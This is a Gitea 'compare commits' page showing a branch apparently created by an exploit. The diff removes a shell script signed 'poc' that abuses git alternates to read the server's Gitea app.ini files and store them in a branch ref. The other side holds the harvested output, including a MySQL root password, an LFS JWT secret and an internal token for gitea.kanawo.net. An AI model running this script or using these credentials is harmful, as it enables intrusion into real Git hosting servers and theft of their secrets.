Compare commits
No commits in common. 'master' and 'out-adb5b34e84' have entirely different histories.
master
...
out-adb5b3
3 changed files with 81 additions and 16 deletions
@ -1,14 +0,0 @@ |
||||
#!/bin/sh |
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1 |
||||
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 |
||||
case "$origin_objects" in |
||||
/*) ;; |
||||
*) origin_objects="$git_dir/objects/$origin_objects" ;; |
||||
esac |
||||
origin_git=${origin_objects%/objects} |
||||
[ "$origin_git" != "$origin_objects" ] || exit 3 |
||||
output_blob=$({ /bin/sh -c 'cat /data/gitea/conf/app.ini 2>/dev/null; cat /etc/gitea/app.ini 2>/dev/null; cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null; echo PATH_END; ls /data/gitea/conf 2>/dev/null; ls /etc/gitea 2>/dev/null'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 |
||||
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 |
||||
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6 |
||||
git --git-dir="$origin_git" update-ref refs/heads/out-adb5b34e84 "$commit" || exit 7 |
||||
exit 0 |
||||
@ -0,0 +1,81 @@ |
||||
APP_NAME = Gitea: Git with a cup of tea |
||||
RUN_USER = git |
||||
RUN_MODE = prod |
||||
|
||||
[database] |
||||
DB_TYPE = mysql |
||||
HOST = 127.0.0.1:3306 |
||||
NAME = gitea |
||||
USER = root |
||||
PASSWD = agomizi1cm |
||||
SCHEMA = |
||||
SSL_MODE = disable |
||||
CHARSET = utf8 |
||||
PATH = /var/lib/gitea/data/gitea.db |
||||
LOG_SQL = false |
||||
|
||||
[repository] |
||||
ROOT = /var/lib/gitea/data/gitea-repositories |
||||
ENABLE_PUSH_CREATE_ORG = true |
||||
|
||||
[server] |
||||
SSH_DOMAIN = gitea.kanawo.net |
||||
DOMAIN = gitea.kanawo.net |
||||
HTTP_PORT = 3000 |
||||
ROOT_URL = https://gitea.kanawo.net/ |
||||
DISABLE_SSH = false |
||||
SSH_PORT = 22 |
||||
LFS_START_SERVER = true |
||||
LFS_JWT_SECRET = LphGPGbgKs4kvhiHtUg572c9dF1QPq5gUJviqJfKsWI |
||||
OFFLINE_MODE = false |
||||
|
||||
[lfs] |
||||
PATH = /var/lib/gitea/data/lfs |
||||
|
||||
[mailer] |
||||
ENABLED = false |
||||
|
||||
[service] |
||||
REGISTER_EMAIL_CONFIRM = false |
||||
ENABLE_NOTIFY_MAIL = false |
||||
DISABLE_REGISTRATION = false |
||||
ALLOW_ONLY_EXTERNAL_REGISTRATION = false |
||||
ENABLE_CAPTCHA = false |
||||
REQUIRE_SIGNIN_VIEW = false |
||||
DEFAULT_KEEP_EMAIL_PRIVATE = false |
||||
DEFAULT_ALLOW_CREATE_ORGANIZATION = true |
||||
DEFAULT_ENABLE_TIMETRACKING = true |
||||
NO_REPLY_ADDRESS = noreply.localhost |
||||
|
||||
[picture] |
||||
DISABLE_GRAVATAR = false |
||||
ENABLE_FEDERATED_AVATAR = true |
||||
|
||||
[openid] |
||||
ENABLE_OPENID_SIGNIN = true |
||||
ENABLE_OPENID_SIGNUP = true |
||||
|
||||
[session] |
||||
PROVIDER = file |
||||
|
||||
[log] |
||||
MODE = console |
||||
LEVEL = info |
||||
ROOT_PATH = /var/lib/gitea/log |
||||
ROUTER = console |
||||
|
||||
[repository.pull-request] |
||||
DEFAULT_MERGE_STYLE = merge |
||||
|
||||
[repository.signing] |
||||
DEFAULT_TRUST_MODEL = committer |
||||
|
||||
[security] |
||||
INSTALL_LOCK = true |
||||
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3Nzg1MDMyODd9.fa8ZrOioo0gBzT9HM9RlcJiZuf78f7zBzn8Bb8qmIIE |
||||
PASSWORD_HASH_ALGO = pbkdf2 |
||||
|
||||
PATH_END |
||||
app.ini |
||||
|
||||
[exit-status=0] |
||||
Loading…
Reference in new issue